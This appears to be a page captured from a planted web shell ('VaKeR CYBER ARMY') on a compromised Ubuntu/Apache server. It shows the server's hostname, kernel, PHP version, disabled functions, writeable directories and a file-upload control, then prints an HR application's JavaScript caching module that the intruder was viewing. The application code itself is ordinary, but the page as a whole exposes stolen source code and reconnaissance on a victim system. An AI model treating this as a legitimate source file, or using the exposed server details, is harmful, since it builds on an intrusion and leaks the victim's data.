VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/tech_preview/hr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/tech_preview/hr/data_module_cache.js
data_module.cacheVer = 2;

data_module.writeCache = function (dbname, contents, callbackfunc) {
    var segs = [], v = [], w = [];
    var i, j, s, fs, ts, n = contents.length;
    var keys;
    var connector = data_module["cacheConnector_" + dbname];
    var cache = data_module["cacheContent_" + dbname];
    if (n == 0) {
        try {
            callbackfunc();
        }
        catch (e) {
            console.error(e);
        }
        return;
    }
    for (i = 0; i < n; i++) {
        s = parseInt(contents[i].key) >> 9;
        if (segs[s] === undefined) segs[s] = true;
        cache[contents[i].key] = contents[i].value;
    }
    keys = Object.keys(segs);
    n = keys.length;
    for (i = 0; i < n; i++) {
        s = parseInt(keys[i]);
        fs = s << 9;
        ts = fs + 512;
        v = {};
        for (j = fs; j < ts; j++) {
            if (cache[j] !== undefined) v["o" + j] = cache[j];
        }
        w.push({
            key: "s" + s,
            value: v
        });
    }
    try {
        connector.write2(w, callbackfunc);
    }
    catch (e) {
        console.error(e);
    }
}

data_module.openCache = function (dbname) {
    var vname = "cacheConnector_" + dbname;
    var cname = "cacheContent_" + dbname;
    if (data_module[vname] === undefined) {
        data_module[vname] = null;
        var host = {
            cname: cname,
            vname: vname,
            content: []
        }
        host.fetchCache = function (index) {
            if (index >= host.keys.length) {
                data_module[cname] = host.content;
                data_module[vname] = host.connector;
                return;
            }
            host.connector.read(host.keys[index], function (host, index) {
                return function (success, value) {
                    if (host.keys[index].substr(0, 1) == "s") {
                        var segno = parseInt(host.keys[index].substr(1));
                        var xkeys = Object.keys(value);
                        var i, n, t;
                        n = xkeys.length;
                        for (i = 0; i < n; i++) {
                            t = parseInt(xkeys[i].substr(1));
                            host.content[t] = value[xkeys[i]];
                        }
                    }
                    setTimeout(function () {
                        host.fetchCache(index + 1);
                    }, 2);
                }
            } (host, index));
        }
        jscache.open("hr_" + client_code + "_datamodule_" + dbname, function (host) {
            return function (success, content) {
                if (success) {
                    data_module[host.cname] = {};
                    host.connector = content;
                    content.keys(function (host) {
                        return function (keys) {
                            host.keys = keys;
                            setTimeout(function (host) {
                                return function () {
                                    host.fetchCache(0);
                                }
                            } (host), 10);
                        }
                    } (host));
                }
                else {
                    console.log("Please upgrade your browser to newest version!", content.type, content.message);
                }
            }
        } (host), data_module.cacheVer);
    }
}

data_module.loadPartnerFunc2 = function (host, cmd) {
    host.loadPartner = function (host) {
        return function() {
            if (data_module.cacheConnector_partners === null) {
                setTimeout(function (loadPartner) {
                    return function () {
                        loadPartner();
                    }
                } (host.loadPartner), 10);
                return;
            }
            var cache = data_module.cacheContent_partners;
            var i, j, n, id, p, ok, ok2;
            n = host.content.length;
            host.queue = [];
            p = {
                partner: [],
                partner_class_links: []
            };
            for (i = host.lastindex; i < n; i++) {
                id = host.content[i].id;
                if (cache[id] !== undefined) {
                    if (cache[id].chksum == host.content[i].chksum) {
                        host.content[i].content = cache[id].content;
                        host.content[i].links = cache[id].links;
                        if (i == host.lastindex) {
                            if (host.params.condition === undefined) {
                                ok2 = true;
                            }
                            else {
                                try {
                                    ok2 = host.params.condition(host.content[i].content);
                                }
                                catch (e) {
                                    ok2 = true;
                                    console.error(e);
                                }
                            }
                            if (ok2) {
                                host.partner.push(host.content[i].content);
                                p.partner.push(host.content[i].content);
                                for (j = 0; j < host.content[i].links.length; j++) {
                                    host.partner_class_links.push(host.content[i].links[j]);
                                    p.partner_class_links.push(host.content[i].links[j]);
                                }
                            }
                            host.lastindex++;
                        }
                        ok = true;
                    }
                    else {
                        ok = false;
                    }
                }
                else {
                    ok = false;
                }
                if (!ok) break;
            }
            if ((p.partner.length > 0) && (host.params.process !== undefined)) {
                try {
                    host.params.process({
                        partner: EncodingClass.string.duplicate(host.partner),
                        partner_class_links: EncodingClass.string.duplicate(host.partner_class_links),
                        finished: (host.lastindex == host.content.length)
                    });
                }
                catch (e) {
                    console.error(e);
                }
            }
            if (host.lastindex != host.content.length) {
                setTimeout(function (host) {
                    return function () {
                        host.loadPartner();
                    }
                } (host), 500);
            }
            else {
                setTimeout(function (host) {
                    return function () {
                        host.finalize();
                    }
                } (host), 10);
            }
        };
    } (host);
    if (data_module.cacheConnector_partners === undefined) data_module.openCache("partners");
    FormClass.api_call({
        url: "database_load.php",
        params: [
            {name: "task", value: cmd},
        ],
        func: function (host) {
            return function (success, message) {
                var i, n, r = [];
                if (success) {
                    if (message.substr(0, 2) == 'ok') {
                        var content = message.substr(2).split("#");
                        n = ~~(content.length / 2);
                        for (i = 0; i < n; i++) {
                            r.push({
                                id: parseInt(content[i * 2]),
                                chksum: content[i * 2 + 1]
                            });
                        }
                        host.content = r;
                        host.loadPartner();
                    }
                    else {
                        console.log(message);
                    }
                }
                else {
                    console.log(message);
                }
            }
        } (host)
    });
}

data_module.loadPartnerFunc = function (params) {
    var host = {
        partner: [],
        partner_class_links: [],
        params: params,
        queue: [],
        squeue: [],
        lastindex: 0
    };
    var cmd = "load_all_partner_list";
    if (params.sort === true) cmd = "load_all_partner_list2";
    host.finalize = function (host) {
        return function () {
            if (host.params.finalize !== undefined) {
                try {
                    host.params.finalize({
                        partner: EncodingClass.string.duplicate(host.partner),
                        partner_class_links: EncodingClass.string.duplicate(host.partner_class_links)
                    });
                }
                catch (e) {
                    console.error(e);
                }
            }
            data_module.partnerLoading = false;
        }
    } (host);
    if (data_module.partnerLoading === true) {
        data_module.loadPartnerFunc2(host, cmd);
        return;
    }
    data_module.partnerLoading = true;
    data_module.partnerReady = false;
    host.fetchData = function (host) {
        return function () {
            if (host.squeue.length > 0) {
                var segno = host.squeue[0];
                if (host.sFiles === undefined) {
                    FormClass.api_call({
                        url: "database_load.php",
                        params: [{
                            name: "task",
                            value: 'load_partner_cache_list'
                        }],
                        func: function (host) {
                            return function (success, message) {
                                if (success) {
                                    if (message.substr(0, 2) == "ok") {
                                        var r = EncodingClass.string.toVariable(message.substr(2));
                                        host.sFiles = r;
                                        setTimeout(function () {
                                            host.fetchData();
                                        }, 10);
                                    }
                                    else {
                                        console.log(message);
                                    }
                                }
                                else {
                                    console.log(message);
                                }
                            }
                        } (host)
                    });
                    return;
                }
                FormClass.api_call({
                    url: "zc/partner_" + segno + "_" + host.sFiles[segno] + ".zip",
                    params: [],
                    rawcontent: true,
                    func: function (host, segno) {
                        return function (success, message) {
                            if (success) {
                                ZipClass.extract( [{content: message}], function (host, segno) {
                                    return function (retcontent) {
                                        var x = new Function(retcontent["code.js"].content);
                                        var t = x();
                                        var cache = data_module.cacheContent_partners;
                                        var connector = data_module.cacheConnector_partners;
                                        var keys = Object.keys(t);
                                        var n = keys.length;
                                        var i, id;
                                        var w = {};
                                        for (i = 0; i < n; i++) {
                                            id = parseInt(keys[i]);
                                            cache[id] = t[id];
                                            w["o" + id] = t[id];
                                        }
                                        connector.write("s" + segno, w, function (host) {
                                            return function (success) {
                                                host.squeue.shift();
                                                setTimeout(function () {
                                                    host.loadPartner();
                                                }, 10);
                                            }
                                        } (host));
                                    }
                                } (host, segno));
                            }
                            else {
                                console.log(message);
                            }
                        }
                    } (host, segno)
                });
                return;
            }
            if (host.queue.length > 0) {
                FormClass.api_call({
                    url: "database_load.php",
                    params: [
                        {name: "task", value: 'fetch_partner_list'},
                        {name: "ids", value: EncodingClass.string.fromVariable(host.queue)}
                    ],
                    func: function (host) {
                        return function (success, message) {
                            var i, n, queue, wqueue = [];
                            if (success) {
                                if (message.substr(0, 2) == 'ok') {
                                    var content = EncodingClass.string.toVariable(message.substr(2));
                                    n = content.length;
                                    for (i = 0; i < n; i++) {
                                        if (content[i] !== null) {
                                            wqueue.push({
                                                key: content[i].content.id,
                                                value: {
                                                    content: content[i].content,
                                                    links: content[i].links,
                                                    chksum: content[i].chksum
                                                }
                                            });
                                        }
                                    }
                                    host.queue = [];
                                    if (wqueue.length > 0) {
                                        data_module.writeCache("partners", wqueue, function (host) {
                                            return function () {
                                                setTimeout(function () {
                                                    host.loadPartner();
                                                }, 10);
                                            }
                                        } (host));
                                    }
                                    else {
                                        setTimeout(function (loadPartner) {
                                            return function () {
                                                loadPartner();
                                            }
                                        } (host.loadPartner), 10);
                                    }
                                }
                                else {
                                    console.log(message);
                                }
                            }
                            else {
                                console.log(message);
                            }
                        }
                    } (host)
                });
                return;
            }
            console.error("invalid code position");
        }
    } (host);
    host.loadPartner = function (host) {
        return function () {
            if (data_module.cacheConnector_partners === null) {
                setTimeout(function (loadPartner) {
                    return function () {
                        loadPartner();
                    }
                } (host.loadPartner), 10);
                return;
            }
            var cache = data_module.cacheContent_partners;
            var i, j, n, id, p, ok, ok2, inqueue;
            var segno, oindex;
            n = host.content.length;
            inqueue = host.squeue.length > 0;
            if (host.segr === undefined) {
                host.segr = [];
                for (i = 0; i < n; i++) {
                    id = host.content[i].id;
                    segno = (id >> 9);
                    if (host.segr[segno] === undefined) {
                        host.segr[segno] = {
                            ids: [],
                            count: 0
                        };
                    }
                    ok = false;
                    if (cache[id] !== undefined) {
                        if (cache[id].chksum == host.content[i].chksum) ok = true;
                    }
                    if (!ok) {
                        host.segr[segno].ids.push(id);
                        host.segr[segno].count++;
                    }
                }
                p = Object.keys(host.segr);
                for (i = 0; i < p.length; i++) {
                    segno = parseInt(p[i]);
                    if (host.segr[segno].count < 40) delete host.segr[segno];
                }
            }
            p = {
                partner: [],
                partner_class_links: []
            };
            for (i = host.lastindex; i < n; i++) {
                id = host.content[i].id;
                segno = (id >> 9);
                if (cache[id] !== undefined) {
                    if (cache[id].chksum == host.content[i].chksum) {
                        host.content[i].content = cache[id].content;
                        host.content[i].links = cache[id].links;
                        if (i == host.lastindex) {
                            if (host.params.condition === undefined) {
                                ok2 = true;
                            }
                            else {
                                try {
                                    ok2 = host.params.condition(host.content[i].content);
                                }
                                catch (e) {
                                    ok2 = true;
                                    console.error(e);
                                }
                            }
                            if (ok2) {
                                host.partner.push(host.content[i].content);
                                p.partner.push(host.content[i].content);
                                for (j = 0; j < host.content[i].links.length; j++) {
                                    host.partner_class_links.push(host.content[i].links[j]);
                                    p.partner_class_links.push(host.content[i].links[j]);
                                }
                            }
                            host.lastindex++;
                        }
                        ok = true;
                    }
                    else {
                        ok = false;
                    }
                }
                else {
                    ok = false;
                }
                if (!ok) {
                    if (inqueue) break;
                    if (host.segr[segno] !== undefined) {
                        host.squeue.push(segno);
                        delete host.segr[segno];
                        host.queue = [];
                        break;
                    }
                    else {
                        host.queue.push(id);
                    }
                    if (host.queue.length == 512) break;
                }
            }
            if ((p.partner.length > 0) && (host.params.process !== undefined)) {
                try {
                    host.params.process({
                        partner: EncodingClass.string.duplicate(p.partner),
                        partner_class_links: EncodingClass.string.duplicate(p.partner_class_links),
                        finished: (host.queue.length == 0)
                    });
                }
                catch (e) {
                    console.error(e);
                }
            }
            if ((host.queue.length > 0) || (host.squeue.length > 0)) {
                setTimeout(function (host) {
                    return function () {
                        host.fetchData();
                    }
                } (host), 10);
            }
            else {
                setTimeout(function (host) {
                    return function () {
                        host.finalize();
                    }
                } (host), 10);
            }
        };
    } (host);
    if (data_module.cacheConnector_partners === undefined) data_module.openCache("partners");
    FormClass.api_call({
        url: "database_load.php",
        params: [
            {name: "task", value: cmd},
        ],
        func: function (host) {
            return function (success, message) {
                var i, n, r = [];
                if (success) {
                    if (message.substr(0, 2) == 'ok') {
                        var content = message.substr(2).split("#");
                        n = ~~(content.length / 2);
                        for (i = 0; i < n; i++) {
                            r.push({
                                id: parseInt(content[i * 2]),
                                chksum: content[i * 2 + 1]
                            });
                        }
                        host.content = r;
                        setTimeout(function (host) {
                            return function () {
                                host.loadPartner();
                            }
                        } (host), 10);
                    }
                    else {
                        console.log(message);
                    }
                }
                else {
                    console.log(message);
                }
            }
        } (host)
    });
}

data_module.loadContactFunc = function (params) {
    var host = {
        params: params,
        queue: [],
        squeue: []
    };
    var cmd = "load_all_contact_list";

    if (params.sort === true) cmd = "load_all_contact_list2";
    host.finalize = function(host) {
        return function () {
            var contacts = [];
            var i, n;
            n = host.content.length;
            for (i = 0; i < n; i++) {
                contacts.push(host.content[i].content);
            }
            if (host.params.finalize !== undefined) {
                try {
                    host.params.finalize(EncodingClass.string.duplicate(contacts));
                }
                catch (e) {
                    console.error(e);
                }
            }
        }
    } (host);

    host.fetchData = function (host) {
        return function () {
            var i, n;
            if (host.squeue.length > 0) {
                var segno = host.squeue[0];
                if (host.sFiles === undefined) {
                    FormClass.api_call({
                        url: "database_load.php",
                        params: [{
                            name: "task",
                            value: 'load_contact_cache_list'
                        }],
                        func: function (host) {
                            return function (success, message) {
                                if (success) {
                                    if (message.substr(0, 2) == "ok") {
                                        var r = EncodingClass.string.toVariable(message.substr(2));
                                        host.sFiles = r;
                                        setTimeout(function () {
                                            host.fetchData();
                                        }, 10);
                                    }
                                    else {
                                        console.log(message);
                                    }
                                }
                                else {
                                    console.log(message);
                                }
                            }
                        } (host)
                    });
                    return;
                }
                FormClass.api_call({
                    url: "zc/contact_" + segno + "_" + host.sFiles[segno] + ".zip",
                    params: [],
                    rawcontent: true,
                    func: function (host, segno) {
                        return function (success, message) {
                            if (success) {
                                ZipClass.extract( [{content: message}], function (host, segno) {
                                    return function (retcontent) {
                                        var x = new Function(retcontent["code.js"].content);
                                        var t = x();
                                        var cache = data_module.cacheContent_contacts;
                                        var connector = data_module.cacheConnector_contacts;
                                        var keys = Object.keys(t);
                                        var n = keys.length;
                                        var i, id;
                                        var w = {};
                                        for (i = 0; i < n; i++) {
                                            id = parseInt(keys[i]);
                                            cache[id] = t[id];
                                            w["o" + id] = t[id];
                                        }
                                        connector.write("s" + segno, w, function (host) {
                                            return function (success) {
                                                host.squeue.shift();
                                                setTimeout(function () {
                                                    host.loadContacts();
                                                }, 10);
                                            }
                                        } (host));
                                    }
                                } (host, segno));
                            }
                            else {
                                console.log(message);
                            }
                        }
                    } (host, segno)
                });
                return;
            }
            if (host.queue.length > 0) {
                FormClass.api_call({
                    url: "database_load.php",
                    params: [
                        {name: "task", value: 'fetch_contact_list'},
                        {name: "ids", value: EncodingClass.string.fromVariable(host.queue)}
                    ],
                    func: function (host) {
                        return function (success, message) {
                            var i, n, queue, wqueue = [];
                            if (success) {
                                if (message.substr(0, 2) == 'ok') {
                                    var content = EncodingClass.string.toVariable(message.substr(2));
                                    n = content.length;
                                    for (i = 0; i < n; i++) {
                                        if (content[i] !== null) {
                                            wqueue.push({
                                                key: content[i].content.id,
                                                value: {
                                                    content: content[i].content,
                                                    chksum: content[i].chksum
                                                }
                                            });
                                        }
                                    }
                                    if (wqueue.length > 0) {
                                        data_module.writeCache("contacts", wqueue, function (host) {
                                            return function () {
                                                setTimeout(function () {
                                                    host.loadContacts();
                                                }, 10);
                                            }
                                        } (host));
                                    }
                                    else {
                                        setTimeout(function (loadContacts) {
                                            return function () {
                                                loadContacts();
                                            }
                                        } (host.loadContacts), 10);
                                    }
                                }
                                else {
                                    console.log(message);
                                }
                            }
                            else {
                                console.log(message);
                            }
                        }
                    } (host)
                });
                return;
            }
            console.error("invalid code position");
        }
    } (host);

    host.loadContacts = function (host) {
        return function() {
            if (data_module.cacheConnector_contacts === null) {
                setTimeout(function (loadContacts) {
                    return function () {
                        loadContacts();
                    }
                } (host.loadContacts), 10);
                return;
            }
            if (host.lastindex == host.content.length) {
                setTimeout(function (host) {
                    return function () {
                        host.finalize();
                    }
                } (host), 10);
                return;
            }
            var cache = data_module.cacheContent_contacts;
            var i, n, id, p = [], ok;
            var segno, inqueue;
            n = host.content.length;
            inqueue = host.squeue.length > 0;
            if (host.segr === undefined) {
                host.segr = [];
                for (i = 0; i < n; i++) {
                    id = host.content[i].id;
                    segno = (id >> 9);
                    if (host.segr[segno] === undefined) {
                        host.segr[segno] = {
                            ids: [],
                            count: 0
                        };
                    }
                    ok = false;
                    if (cache[id] !== undefined) {
                        if (cache[id].chksum == host.content[i].chksum) ok = true;
                    }
                    if (!ok) {
                        host.segr[segno].ids.push(id);
                        host.segr[segno].count++;
                    }
                }
                p = Object.keys(host.segr);
                for (i = 0; i < p.length; i++) {
                    segno = parseInt(p[i]);
                    if (host.segr[segno].count < 40) delete host.segr[segno];
                }
            }
            p = [];
            host.queue = [];
            for (i = host.lastindex; i < n; i++) {
                id = host.content[i].id;
                segno = id >> 9;
                if (cache[id] !== undefined) {
                    if (cache[id].chksum == host.content[i].chksum) {
                        host.content[i].content = cache[id].content;
                        if (i == host.lastindex) {
                            p.push(host.content[i].content);
                            host.lastindex++;
                        }
                        ok = true;
                    }
                    else {
                        ok = false;
                    }
                }
                else {
                    ok = false;
                }
                if (!ok) {
                    if (inqueue) break;
                    if (host.segr[segno] !== undefined) {
                        host.squeue.push(segno);
                        delete host.segr[segno];
                        host.queue = [];
                        break;
                    }
                    else {
                        host.queue.push(id);
                    }
                    if (host.queue.length == 512) break;
                }
            }
            if ((p.length > 0) && (host.params.process !== undefined)) {
                try {
                    host.params.process({
                        contact: EncodingClass.string.duplicate(p),
                        finished: (host.queue.length == 0) && (host.squeue.length == 0)
                    });
                }
                catch (e) {
                    console.error(e);
                }
            }
            if ((host.queue.length > 0) || (host.squeue.length > 0)) {
                setTimeout(function (host) {
                    return function () {
                        host.fetchData();
                    }
                } (host), 10);
            }
            else {
                setTimeout(function (host) {
                    return function () {
                        host.finalize();
                    }
                } (host), 10);
            }
        };
    } (host);

    if (data_module.cacheConnector_contacts === undefined) data_module.openCache("contacts");
    FormClass.api_call({
        url: "database_load.php",
        params: [
            {name: "task", value: cmd},
        ],
        func: function (host) {
            return function (success, message) {
                var i, n, r = [];
                if (success) {
                    if (message.substr(0, 2) == 'ok') {
                        var content = message.substr(2).split("#");
                        n = ~~(content.length / 2);
                        for (i = 0; i < n; i++) {
                            r.push({
                                id: parseInt(content[i * 2]),
                                chksum: content[i * 2 + 1]
                            });
                        }
                        host.content = r;
                        host.lastindex = 0;
                        setTimeout(function (host) {
                            return function () {
                                host.loadContacts();
                            }
                        } (host), 10);
                    }
                    else {
                        console.log(message);
                    }
                }
                else {
                    console.log(message);
                }
            }
        } (host)
    });
}

VaKeR 2022